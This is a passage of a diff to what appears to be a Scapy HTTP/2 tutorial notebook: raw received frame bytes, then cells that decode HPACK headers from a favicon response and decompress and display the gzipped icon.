4r\\xbb\\x13v<H\\xb1\\xc7\\xf4\\x98t<P19v\\x8f\\xd9\\xf1\\x02Z\\x9fo\\xb7+\\x11\\xd2\\r\\xec\\xc1_e\\x1d\\x10\\xf6\\x05\\xe3\\x02\\xf4\\xd3\\xe9\\xb4\\x1d\\xbe\\x8b\\xb3\\xef{ \\xa1D\\xfa\\xe0\\x1a\\x149\\xa3j\\x10\\xc5\\xf1L\\xdf\\xf4T\\n\\xba\\xe9\\xd5;\\x876\\x1a\\xbds\\xd6\\xcd\\xf7\\xed\\x9e\\x83\\xd7(\\x1fh?\\xf4?:\\x1f\\xa0\\xf3c\\xc5\\xe1@\\xdf\\xda\\xe4\\xba\\x1d\\x83\\xd0mv\\xcd\\xb3\\rV\\xd7\\xfd\\xac\\xe0\\xcb\\xee\\x87\\x0f\\xf4#\\x0e|l\\xfb9\\xf5\\x9fF\\xfb\\x1bl\\x9f\\x0e\\xe7\\x07\\x9aM\\xaf\\xef\\xd1(\\xea\\x8ae\\xc8{\\xd2\\xb3\\xe9\\xfe\\xfeV1\\x98,s\\xb6\\xe8C?\\xbb}\\x05{\\xe2\\x90\\xc8\\xbd\\xa1\\x9d:n\\xe9,^\\x8d\\xc2\\x0b\\x97C\\xccI\\x82\\xae{\\xac\\x83\\xd2\\xbb\\x7f\\xddwz\\xd7\\xce\\xa0T\\xba\\x07JF\\x7f\\xf0vXu:\\xb4\\x9f\\xb3,\\xa2\\x1e\\xc4\\xa9A\\xe9)O\\xc8\\xb1\\xd7t\\x96\\\\\\x16\\x99\\xf3\\xe1\\xaf\\xce\\xc7\\xff\\x18\\x04*A\\x17\\x90&_\\x12\\x10\\xe2tP\\x15@\\xa7\\\\\\xdcA=t\\x18\\xb84W\\x0f\\x03L\\n\\x100\\xa14\\xe3\\xe1g6\\xd3\\x87\\xd9\\xad\\x9dQ\\x1f\\xcb\\xb0\\x13\\x91f3=\\xbbU\\x0e\\xc28\\x83MI\\x13ao$\\xddz\\xc9\\xc2`)f\\x86\\x91\\xddn*\\x1e5\\x91\\x9b\\n\\x91\\xc6\\xb3\\xe9.\\x1dV\\x89\\'4\\n\\x83d\\x96#\\xe9\\xa6\\x1f\\xb8K\\x15~\\xfc5\\xecw\\x9f\\xe5\\xcdd<\\x8dB_9\\xf4,\\x7f\\xba\\xd0\\xed\\xd6\\xca`*$\\xaa\\xe7\\xd6\\xec,\\xe5!*\\x7fF] \\x82\\x08n#\\x0fc\\x04\\x12\\xdc\\x84\\xbeX\\xcetM\\xfbq\\xf3\\x8f\\x98\\xf9!U\\xc0\\x80k \\xd7\\xdbK\\xb7c\\x9a\\x07ar\"W4\\xeb\\x8fYl\\xafX.B\\xb0v\\xb5V`XI\\xbc\\x00\\x97\\x11\\xb3\\x88-\\xc4fC\\x91\\x91\\x8a\\xbf\\xa3\\xb5\\x14\\xccg^\\x9aKG\\x98\\x15`\\xb4<\\n\\x13\\xd6\\x92~\\x87@\\xd6\\xaf\\xb3CM\\xf3\\xda\\x180\\x14*\\xedq\\xdf7\\x991\\xddCY\\xec\\xa0@\\xf1\\xd1\\x1e\\xff\\x01L,M[Y\\xd8M\\xfd;U\\xf8*U3\\xb5\\xbf,m\\xbc\\xa0q\\x18\\xdd\\xcdh\\x1e\\xd2H\\xe54\\xe1\\'`\\xbap\\xb1A\\xdcu\\xa9\\rPl\\nZ\\x00yoN\\xeef\\xe04)\\xe4\\xa4\\xc3 \\rj\\x0b\\xcf\\xc0E\\x14\\x13\\xfei\\x1b\\xe1\\xafQ\\xd4\\x93J\\xa7}\\x93\\xc5\\xb0L\\xea\\xcdceoH\\x07\\x7f\\xd8@^\\x8e\\xabYj7144\\xeb\\xb2\\x16i8\\xf16\\xfd\\xeb\\x96\\x8e6}\\xc1\\x91W=\\xb7\\x86\\x1d\\xb5\\xcb\\x00ZD3\\xcef\\xf5\\xc7\\x86\\xc5\\xa5\\x9c7\\xe5\\xacn\\x1a\\xf9\\x95\\x0b\\xa1Jf\\t,\\x80F\\x1b\\x88\\xd4\\xa2\\xf1\\x83q\\xe3.#k\"}\\x8c/BU\\xa2 \\xe5LGQ\\x1f(\\x0c\\xb1x\\x850}\\x14\\xc1\\xe7k?\\xe4\\xb09\\xeffa\"U\\xe1\\xa6\\xb7\\xf6~\\x17\\x04\\x90\\xab\\xca\\r\\xa5^5e\\xb4\\xf5K\\xf4\\xb6\\x19\\xb47a\\x92\\x15b\\xc7\\x82a\\xb2\\x84i\\xda\\x9ee\\xc8\\xdf\\xe1\\xae\\x97\\xe9\\xfa\\x8e\\x97I3\\xbb\\xd4\\xbb\\n\\xf2\\x14\\x1cuv\\xb8X,\\xec\\x12\\xd5\\x85(r\\xb5\\xa1-B{\\xdf\\xb5\\x13\\xc8\\xd7\\x1b:[\\xa2{\\xa8tF!r\\xae\\xd8\\xd77\\xc0\\xa6\\xbf\\x88\\x14\\xda\\xb6,\\x9d\\xadB\\xd8\\xb2\\xcc\\xaf;\\xc7c\\x9d\\x9a\\xee\\xdf\\xdbO\\x12kX\\xce\\xfe\\x00K.\\xed0\\xc0\\xf3\\xa9\"\\x95Q\\xe1U\\xf3\\x80\\x98;;\\x89\\xbb\\x91\\xb7nG\\xb91\\x1a\\x1e{a\\xc1\\xb5\\x89vlc\\xa0mv\\xec\"#e+<\\xc9\\xf8\\x14q\\xd7\\xddQ0c\\xcc.\\xbduV\\x066@\\xb3\\xb7\\xee\\x8b\\x8b\\xf3<O9\\x84cX\\xf5\\x03M\\xbb\\xf2\\xcd\\xa1\\xd6\\xf0\\xdcY\\x14hVD\\xea\\xe1\"\\x8aZ\\xcb}\\xcc\\xa34E7*\\x16\\xedU\\x15P\\xc1\\xd5g\\xee\\x84\\xae\\xe6P\\xe5\\xa4\\x86a\\xe1q\\xba\\x07\\x1ex\\x02\\x873\\x10\\x172\\x0b\\xa3\\xe2\\xa4^\\xae\\xd4\\xb1\\xdd\\xecL\\xcd\\xf6\\x8a\\x9c\\xc3w\\x96\\x86p\\x8c\\xcf\\xdbk\\xb6\\xb7\\x91\\xa4\\x10\\xb8*\\xf8*\\xb7\\xca\\xf8\\x91\\xad\\xf2X\\xcc\\xc5\\x15\\xd7\\x0e\\xd6V\\'(G\\xee\\xde\\xd9\"\\xf5\\n\\xbe\\xae\\xd9K\\xf3o\\xc3_\\x95\\xe8\\x9a\\x8c\\x078W\\n\\xa6\\xdeG\\xae\\x1a\\xa00\\xf7\\x0bO\\x0cB/m\\xee\\x1a\\xa2\\xd4\\xcf\\xfa\\xd0A@\\x07\\x91C\\xf8\\x12\\xfc\\xc6+\\x84\\x02]\\t\\x01\\xbe\\xe55\\x08n&\\xc5\\r\\xa4F\\x1c\\x82>F\\x1e\\xbde\\xc0\\xdc\\x8fE\\xe6\\xd1WT~$K\\x8a\\x90q(\\xbdi\\xc4\\x99\\xed\\x83l1\\x1c=\\xfa8CU\\x1a+\\x8e\\xf2\\xf0\\xe2\"Q:\\x1d\\xa5\\xfe\\xeeb\\xb9\\xa1t\\x1b\\xe2r\\xb2\\xde\\xba\\xa9\\xc9\\xbb=Y\\xeb\\xc2?{\\xf3\\x03\\xa2\\x1e\\xe0\\x9cP_\\xd7\\x14\\x8bNg\\xfb\\xdd\\xbf\\xeeK\\x1d\\x03\\xdb\\xa63p\\xaf\\xdb8\\xd8l\\xa1m~\\x80?xn\\xdc*\\xde\\x0fWJ\\x085g\\x9c\\x04.9S\\xea6&\\xd4\\xb3\\xd3$u\\xe1\\xd7U\\xbc\\x88r\\x0e}\\xfa\\xd9?\\x99\\x07Q\\r\\xfe\\x9d\\x0e\\\\\\xc0\\xa6\\xdb\\xa1\\xcaz\\xe5\\xf1j0\\xb8\\xb9iJ\\xf9E\\x0ej\\r\\x96\\xd9\\x93%TsyGP\\x17j3r&%\\xe6\\xa7\\x03\\xfaM>1$\\x8d\\x16#l\\xb6\\xf9D\\xe4\\xecW\\xe8\\xfa\\x1e\\x17\\xdc~5\\x17/\\x8d\\x07m\\x16&9{\\r\\xc3\\xdfc\\x81\\x02\\xdd\\x817\\x17n\\xc5\"\\x88\\x9c\\x9f\\xffY\\xb2\\xd0\\xc9\\xd9\\xbf\\xd3\\xe2-\\x0c}\\x8f\\x0b\\x98\\xba-Nr\\xc3w\\xf5\\x02\\xce\\xfb\\xd4\\x13\\x05l3\\xf1\\xe5o\\xe8&\\x8c\\xdaRa{\\xf0D\\xf2\\x89\\xc9\\xd9sl~\\x8f\\x85\\x9f\\xc3\\xfe\\xdd\\xd1\\x8c$O\\xc9\\xd93\\x1cyH.7py\\xa5\\xb8\\x1f\\xdd\\xc9\\xb7] \\x11\\xd1\\x00`\\x9a!\\x01\\x1f\\xc0N,@\\xf1\\x05HY\\x9c)\\x9d\\x9c^\\x17\\xa9\\x8d\\xf3\\x9d\\x0eJ\\xb7\\x1b\\x80+6\\xfe)\\x0bXE\\x16\\x01\\x0e\\xd6\\x8c\\xb5o\\xf2\\x8c&\\xa5\\xbf&\\xcd\"C\\x8c+\\xd0\\xdf\\x1e]4\\xa3\\x8bGFY\\xd3G[2<\\x10\\x01\\x0e\\x17\"\\xcd\\xefP\\x04p\\x84\\xd2l\\xa4a<:{!\\xc7\\xc3\\xeb\\x82)\\xef\\x99+uw\\x8f\\xda\\xab\\x03[\\x06\\x80\\xe5,\\xf1\\x18\\x7fH\\xfc\\x9a\\xe64\\xfe\\x1f\\x91W[B\\x12\\n\\x08\\xd2L8s\\x88\\xb7\\xe5B\\xe7SmO\\xc9\\xd4\\xf3 \\xee\\n\\xde\\xb6\\xe1\\x1b\\x96\\xafB\\x8f\\xbdL!\\xc2W\\xce\\x95\\xc14`OG\\xe4\\x05\\xeb\\xe0\\xadn\\x98\\x14\\xccy\\xdcR\\xedU\\x9d\\xa7I\\xc2n\\xc1`\\x8f[\\xa6F\\\\V~!\\xd3\\xae\\xf6-\\x8c\\xb2\\x90\\xafQ\\x94\\n\\xd3c\\x98\\xa0 \\xd4\\xc0\\x19,\\x82\\x93\\x93C\\xe00@d`\\x8a\\x82\\xcc\\'\\xdb8\\x15\\x05\\xb4jU\\x9eX\\x97\\x9d\\x86\\xacw\\x15H\\xf9\\xbb\\xe3uu\\xabkM\\x15iL\\'\\x98\\xe2\\x1f\\xcf\\xb6{7\\xdc\\x98\\x05\\xb6\\x97\\xdc\\xd8\\x9a\\xdf,\\xa1@\\x9ao\\xc9\\xab\\xfbncj\\xdcZFy\\xe5\\xddS\\x92\\xf4\\xa4\\xcc\\xceD\\x91\\xb7\\xdb\\x0e)/\\xbb\\x89\"S(\\x08\\x02\\xaa*%\\\\f\\xc8\\x96(\\xd5\\r\\x0bi\\x0e\\xaeQ\\xa7\\x03?\\xdd\\xde\\xae@U~\\x9fN\\xa7\\xed\\xdafR\\x97:\\xed\\xba\\xba9~A\\x92\\xa4\\x98\\xa9\\xe5\\xf1k\\x8a\\x9a\\x90\\x962\\xb0r&\\xb0\\xd6\\x9b\\x9cf\\x0e!g?\\x83\\xf0\\x1e\\xab\\x8c\\xd2\\xfe\\xdd\\x9a\\x1dO\\x08\\n\\x95i\\xce\\xa9\\x8f\\xb9\\xc0\\x82\\xc6\\xb04L\\xaf\\x10?\"\\xa6x,\\x8a*\\xcb8D#\\xb2\\r;\\xcc\\xab\\xda\\x80\\x96+\\xabJ\\x13\\xb0&\\xec\\xf0\\xab\\xedM\\x8c\\xf1\\x8f\\xe4\\xac\\x93\\xb8<\\x83x |9T\\xa1\\x96~\\xd2^\\xf1\\xa9,\\xbc\\xab\\xf9CP/p\\x05\\xcf&\\x97o^\\x9d\\x98\\xe6\\xd8:\\xd1\\xc1\\x00\\xe5\\xfbI\\xe8\\xfb,i(*<\\xdc\\x84%\\xf12\\xfa\\nf9\\xcc\\xd3\"\\xf7\\xd8\\x1eJ\\xcde\\x99\\xeda\\xbb\\xe1\\xcd7\\xb9\\xb9\\xe1\\xf2\\xc1\\xf8v\\xbb\\x10\\x9f\\x93=\\xff\\x1dn\\x0f\\xc3x\\xdeP\\xb4\\x86\\xe1\\xae[`\\xd9\\xd7\\xd4v\\xf5\\xde\\x18\\xd7\\xc7A\\x05\\xdd\\xe4a1\\x07NY\\xe0\\xddg\\x9c\\xe1=\\x9eCR(\\x94\\xea\\xa5@)\\xd7\\x88\\xd9\\xf8rS\\x06(\\xb5W\\xc7\\xf46bI \\xed\\xa7\\x8d\\xccZ\\xa9\\xd7 \\x07\\xf8\\xa7C\\xc6S\\xb2\\xf5\\xa5z\\xcd\\xed\\xe3\\'\\n$#\\xf2V\\x05\\xbb\\x1dXd7Bo\\xfb\\x9a\\xc5=\\\\S\\xa5j\\x91<\\xafu\\xcd\\x0b7\\x0e\\x05i\\xc2};\\x13\\xfc_\\xe7\\xfd\\xe5\\x88\\x86\\x8a\\xcf\\x94\\x88\\xe2\\xebZ\\xe2\\xb5\\'\\xbe\\xc4]\\xedE\\xa1w\\x05\\xce\\xb9\\x90\\xd7S}\\xdc@P\\x93I\\xea\\x9e\\xec\\x815{W\\xccwt[aP]*`\\x91\\xe6\\xda\\njR?M\\xfd\\x08\"\\xd3\\xd1w\\xa4\\xa8\\xf7J\\xb5F8\\xda\\xe1qi/\\xe04;gg\\xb75yo@\\xfd\\x15\\xca\\xe0\\xcf\\xab\\x0b\\xac2}\\xd08\\xb3\\xeb\\xf7\\t\\x07,\\xb5\\xd55E\\xf4/\\xb2P\\xd82\\xc1\\xf7\\xc8\\x02\\xa2)$\\xae4\\xe2_\\xe1\\xf1\\xaa\\x10a\\xc4\\x15\\xf0\\x81\\xa0\\x80\\xc4\\x89i\\x93\\x97Y\\x06\\xe5\\x18\\x08\\x8c82\\x98\\xd4\\xba\\xc7X\\x19\\xb8\\xabZ\\xbd\\xf2\\xf3\\xd1\\xdd\\xa8\\xa3jP\\xcd\\xdb\\xb4\\x817\\x1e\\x1c\\xf3\\x1ei\\'\\xa7\\xca\\r\\xb7a\\xd4\\x1c\\xfeh\\xc7p|\\xac7\\x1d^8\\x91v\\xf4\\xabk\\x06\\xa0I1\\x12}\\x85\\x0f$\\x1b\\xb1;V\\xedI\\xdd\\xc2\\xe3\\x15l\\xb6\\xf6u[\\x1d\\xd5$_\\xc8{-M\\xd6U\\x13\\xf5\\xb1bz\\x83whX=)Y\\xe1\\x82W\\x85\\x82\\x86U\\xc1\\xb0%\\xe1e\\xf6\\xdf\\xc5\\xf7\\x8f`\\x0eHHy\\xc8wm\\xb5\\xad\\x90\\x8b\\x9d\\x1aB\\xd7&\\x96\\xa6\\x8f\\xcc\\x89i\\xe2\\x83\\x98\\xa1\\x19\\xa6aT\\xa7-99_\\xa2\\xf8\\xc7\\xf5\\x13.}l\\xd1.\\x94I}|x&g\\xff\\xad\\xe0\\x03p\\xcaq\\xa7<B\\xf3x%\\xc2\\x99\\xc0\\x9a\\xc9O\\xa1\\x94M\\x9eT\\x9f\\xce\\xbb7\\xd2\\x97x\\x188\\xf3\\xf9\\xab\\x17\\xc9\\xafo/\\xce\\xaf\\xae\\xf4_\\x9f\\xaf\\xfex\\xf3\\x9f\\xc1\\xf3\\xd1s\\xfdi\\xfc\\xe2z|\\xf9\\xe3\\xf0Y\\xa5S\\x06\\xb1\\xbdzlF\\xe1J/ke\\xb7l?\\xb7N\\xf0O+\\xbd\\x9ahN\\xa8\\x9b\\xb2;[14}\\xa2\\x9c(\\x0f\\xc5\\xcdR4\\t(\\x1e\\xb4\\xbc\\xa2\\xde\\x1d\\x18\\x00\\xca\\xa7E\\x08\\xae)BY\\xd1\\xcb\\xca\\xee\\x9b\\xa4\\xe0\\x071/\\t}\\x99\\xba\\xab-\\x91mwy]+}\\xef\\xb5\\xbc\\xef\\xf9\\xa9\\xd3\\\\\\xc5\\xaae\\xe9\\xa3m\\xec\\xfd\\x83osS\\x1eB\\xa9\\x97\\xbfG4\\xd5\\xdd\\xe9{!y\\xe0U\\xf9\\x01\\xbd\\xbf?p{\\xe5]y\\x85R\\x1f6U\\xd0\\xf4\\xf9\\x9b7\\xfa9\\xa4\\x11({\\xf0z\\xdc\\x93\\x9f\\xbf\\xa6>{\\xe25x\\x17\\x11C0\\xf3\\xe4\\xe1Y\\xa5\\x8e\\xdf\\x87\\x08\\t=\\xf5\\xd4u\\xbb\\x9a\\x96v:n\\xa7\\xd3\\xa5\\x07\\xceV\\xae\\xbe\\x94\\xe6\\xfe\\xde\\xdd\\xe9,e\\xdd\\xbe\\x88@Y\\xd5%D\\xc5\\xbf\\x83\\x92%\\xbe\\xbb<\\xe9T\\x8f.\\x90\\xa3\\xabW\\x17\\xc8\\xc6\\xf2\\xd5e\\xf7\\xed\\xe7\\xea\\xe2\\xb2\\xb7\\xf7\\xb2\\xf0\\x95\\xc3\\xf3\\xed\\'\\xee\\x93\\xbd\\x13\\x0bv\\x86\\x8f_7\\xd4\\x9f\\x8a\\xd7u\\x1b\\xa3\\xf1\\xf2\\xa5\\x0fv\\xccC\\x035\\xe7y/\\x87\\x8a\\x92U\\x1a\\xec\\x92\\x927\\xe9\\xd9T\\xde\\x1b\\xb8\\xad{\\x00V\\xeb\\xf9\\xa7\\xbbK\\xbf[\\xae\\xb0\\xd7\\xa7Y\\xc6\\x12\\xff|\\x19F~\\x97\\xf66\\xaa\\xd6\\xdbT\\xc2\\xfa\\xd1\\xa7l\\xfb\\xd6\\xe2\\xaa\\xb4yk\\x01\\xd2\\x02X{H`o\\xb1\\x1doO7_wD\\xe0\\x90\\xc7\\xf8\"$\\xd5\\x07nT\\xbf\"\\xf5\\xea\\x8f\\xfe\"\\xcc\\xb9@\\x14t\\xb2-Y\\xc3i^{\\xdb\\xfc\\xfe~\\xdd\\xbc1\\xce\\xfb\\xf3gE\\x9c]\\xdczL\\x9e*\\xb7\\x02\\xb0\\xdeZ,\\xf3\\xf4Fa\\x9b\\xd6\\x84\\xf8\\x86\\x96\\xf3\\xc6?\\xca\\xa6|i\\xea\\x8bF\\xde\\x9d^\\\\D\\xc4\\x9d\\xfaA\\xb6\\xdbz\\x91\\xb5\\xdb\\xaa\\xeb\\x1e\\r\\x00s0\\x1f\\xc0\\xcf\\xd5\\x9f\\xb7C\\x1fZ\\xfde\\xd6g\\xc9\\xfc\\xdd\\x9b\\xfe\\xfb\\xdf\\x86\\x7fdo>\\x9f\\xfc\\xf4\\xdc\\xec\\xbf\\x1a\\xc48\\xce\\xdd\\xf9\\x92\\xa9\\xfe \\x17\\xd8\\xfa4\\xf0\\x11\\xe8\\x03\\xd9\\xfa\\xecA\\x0c\\xc89~>=\\x7fki\\xe9\\xf3\\x95\\xff\\x82N\\xdf\\xbe4\\xde\\xcf/\\x7f\\xffC\\xe7\\xe3\\x9f^\\xdf\\xfe\\xfb\\xf2\\x05{\\xb7Z\\xfe~\\xa4\\xfe\\xffM\\xdd\\xb3\\xb7\\xa6\\x82\\xea\\xa5VH\\x16{\\xce\\x9a\\xc8i\\xc8lM\\xa0\\x10H\\xc8\\x0cO\\x9e*\\xf1\\xda\\xdfrK\\x92\\x19\\x96\\xb8y\\x94\\xa6\\xf1\\t\\x94\\xd1*\\xf1\\x975\\x82\\xbf\\xbc\\x16\\xcd7\\x07D\\x18]Du\\xcf2\\xe5H\\xdcd\\x0b\\x18\\x0c\\xb9\\x0b\\xc4\\x86\\xa9\\x92O4&\\x10\\xf4\\xc8\\'\\x9e&YM\\x11\\xc5\\xf5W\\xcc\\x03\\x8eK\\xf3B\\x17\\xf8\\x91\\x8b\\xc5\\x82z,\\xc7\\x12.\\xaf+\\x1b\\\\\\xc9]\\x8c\\x83\\x9c\\xd3;\\xf6\\x19*\\x1d\\xe6\\xc19F\\x08\\xa6\\xa4\\xb9X\\xa6\\x01\\xd4QP\\x00\\xcd\\x001\\xf2\\xae\\xee\\x00\\xf3\\x97?\\x0bM3&\\x87C\\xcb\\xde/\\tqr9S\\xa2p\\xbaJ\\xc3\\\\\\xc1\\x84\\x0b\\xdd)\\xbfB)\\xaab\\x08h8\\ry\\x88\\x04\\x19li\\x189\\x973\\xf2\"\\x80\\xc3\\xa9\\x0c\\x1aTqAo\\xca\\x17\\xf1\\x05z3\\xc85\\xf1\\x17\\x86\\x84\\xab\\x14\\x12\\xbc\\x82K\\x18\\x9eW\\t\\xe6OR\\xdfY\\xfcI\\xe4\\xc0\\xc5r\\xe7\\x8a\\xa2D\\x1e\\xd0r\\xac_N\\x8a\\xcb|S2f\\xa8T\\xee\\x86\\xb8\\xc2m\\xc9\\x97\\xe1]\\xa8\\xfc\\x7f\\\\0\\x88\\xa7\\xbf\\xd9\\xc3\\xda{\\xa3\\x92\\x04MV\\xaa;]\\xe5\\xa0m\\xe8\\xcb\\xaeK+\\xc2\\xe2\\xe0T_\\x8d\\xe6\\x0b@\\xfc\\xf0\\x11\\x98y\\xd0\\xa7k\\xf8\\x01\\x8e3\\x06(\\xd2+ XY\\xcb\\xc4\\xba\\xf8\\xed\\xf5\\xbf\\x8c\\xf3k\\xfd_\\xcf\\x9e\\x16\\x93\\xc2\\x1fO\\xde~\\xbe\\xba\\xfb\\x1d\\'\\xf2\\x91\\xf7\\xf6\\xf5\\xba\\x8c%\\xe5\\xfbp+$m\\xa3@\\xcc\\xfcf\\xb3\\xc3w\\xf7(LB\\xb1\\xf5el\\x9579w\\xdd\\xa6S\\xe2U\\xba\\x04\\xd4\\xcd\\xa6\\x1d\\xc7>5\\x11\\xe5\\x13\\xec\\xbaV\\xe36|,\\xbc\\xb7\\x86!\\x00\\xdb\\xf2U\\xb0\\xbe\\x0f/\\x8b\\x12L\\x8cx\\x89\\x8d\\xff\\'\\xf0\\x7f\\x01\\xa9\\x9a\\xd7%#(\\x00\\x00'\n",
+        "   |     padding   = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n",
+        "\n"
+       ]
+      }
+     ],
+     "prompt_number": 113
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "Now, I don't know about you, but I can't read this :) Let's use the helpers to help us out.\n",
+      "\n",
+      "First we need to create a new Header table that is meaningful for headers received from the server. We set the various sizes to the values we defined in our settings."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "srv_tblhdr = h2.HPackHdrTable(dynamic_table_max_size=max_hdr_tbl_sz, dynamic_table_cap_size=max_hdr_tbl_sz)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [],
+     "prompt_number": 114
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "Let's now convert all received headers into their textual representation, and stuff the data frames into a buffer per stream."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "# Structure used to store textual representation of the stream headers\n",
+      "stream_txt = {}\n",
+      "# Structure used to store data from each stream\n",
+      "stream_data = {}\n",
+      "\n",
+      "# For each frame we previously received\n",
+      "for frame in stream.frames:\n",
+      "    # If this frame is a header\n",
+      "    if frame.type == h2.H2HeadersFrame.type_id:\n",
+      "        # Convert this header block into its textual representation.\n",
+      "        # For the sake of simplicity of this tutorial, we assume \n",
+      "        # that the header block is not large enough to require a Continuation frame\n",
+      "        stream_txt[frame.stream_id] = srv_tblhdr.gen_txt_repr(frame)\n",
+      "    # If this frame is data\n",
+      "    if frame.type == h2.H2DataFrame.type_id:\n",
+      "        if frame.stream_id not in stream_data:\n",
+      "            stream_data[frame.stream_id] = []\n",
+      "        stream_data[frame.stream_id].append(frame)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [],
+     "prompt_number": 115
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "Now, we can print the headers from the Favicon response."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "print(stream_txt[3])"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        ":status 200\n",
+        "vary: Accept-Encoding\n",
+        "content-encoding: gzip\n",
+        "content-type: image/x-icon\n",
+        "date: Thu, 08 Dec 2016 06:23:59 GMT\n",
+        "expires: Fri, 16 Dec 2016 06:23:59 GMT\n",
+        "last-modified: Thu, 08 Dec 2016 01:00:57 GMT\n",
+        "x-content-type-options: nosniff\n",
+        "server: sffe\n",
+        "content-length: 1494\n",
+        "x-xss-protection: 1; mode=block\n",
+        "cache-control: public, max-age=691200\n",
+        "age: 472252\n",
+        "alt-svc: quic=\":443\"; ma=2592000; v=\"35,34\"\n"
+       ]
+      }
+     ],
+     "prompt_number": 116
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "So, we received a 200 status code, meaning that we received the favicon. We also can see that the favicon is GZipped. Let's uncompress it and display it in this notebook."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "import zlib\n",
+      "img = zlib.decompress(stream_data[3][0].data, 16+zlib.MAX_WBITS)\n",
+      "from IPython.core.display import HTML\n",
+      "HTML('<img src=\"data:image/x-icon;base64,{}\" />'.format(img.encode('base64')))"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "html": [
+        "<img src=\"data:image/x-icon;base64,AAABAAIAEBAAAAEAIABoBAAAJgAAACAgAAABACAAqBAAAI4EAAAoAAAAEAAAACAAAAABACAAAAAA\n",
+        "AAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///zD9/f2W/f392P39/fn9/f35\n",
+        "/f391/39/ZT+/v4uAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v7+Cf39/Zn/////////////////\n",
+        "//////////////////////////39/ZX///8IAAAAAAAAAAAAAAAA/v7+Cf39/cH/////+v35/7TZ\n",
+        "p/92ul3/WKs6/1iqOv9yuFn/rNWd//j79v///////f39v////wgAAAAAAAAAAP39/Zn/////7PXp\n",
+        "/3G3WP9TqDT/U6g0/1OoNP9TqDT/U6g0/1OoNP+Or1j//vDo///////9/f2VAAAAAP///zD/////\n",
+        "+vz5/3G3V/9TqDT/WKo6/6LQkf/U6cz/1urO/6rUm/+Zo0r/8IZB//adZ////v7///////7+/i79\n",
+        "/f2Y/////4nWzf9Lqkj/Vqo4/9Xqzv///////////////////////ebY//SHRv/0hUL//NjD////\n",
+        "///9/f2U/f392v////8sxPH/Ebzt/43RsP/////////////////////////////////4roL/9IVC\n",
+        "//i1jf///////f391/39/fr/////Cr37/wW8+/+16/7/////////////////9IVC//SFQv/0hUL/\n",
+        "9IVC//SFQv/3pnX///////39/fn9/f36/////wu++/8FvPv/tuz+//////////////////SFQv/0\n",
+        "hUL/9IVC//SFQv/0hUL/96p7///////9/f35/f392/////81yfz/CrL5/2uk9v//////////////\n",
+        "/////////////////////////////////////////f392P39/Zn/////ks/7/zdS7P84Rur/0NT6\n",
+        "///////////////////////9/f////////////////////////39/Zb+/v4y//////n5/v9WYu3/\n",
+        "NUPq/ztJ6/+VnPT/z9L6/9HU+v+WnfT/Ul7t/+Hj/P////////////////////8wAAAAAP39/Z3/\n",
+        "////6Or9/1hj7v81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD6v9sdvD////////////9/f2YAAAAAAAA\n",
+        "AAD///8K/f39w//////5+f7/paz2/11p7v88Suv/Okfq/1pm7v+iqfX/+fn+///////9/f3B/v7+\n",
+        "CQAAAAAAAAAAAAAAAP///wr9/f2d///////////////////////////////////////////9/f2Z\n",
+        "/v7+CQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7+/jL9/f2Z/f392/39/fr9/f36/f392v39/Zj/\n",
+        "//8wAAAAAAAAAAAAAAAAAAAAAPAPAADAAwAAgAEAAIABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n",
+        "AAAAAAAAAAAAAIABAACAAQAAwAMAAPAPAAAoAAAAIAAAAEAAAAABACAAAAAAAAAQAAAAAAAAAAAA\n",
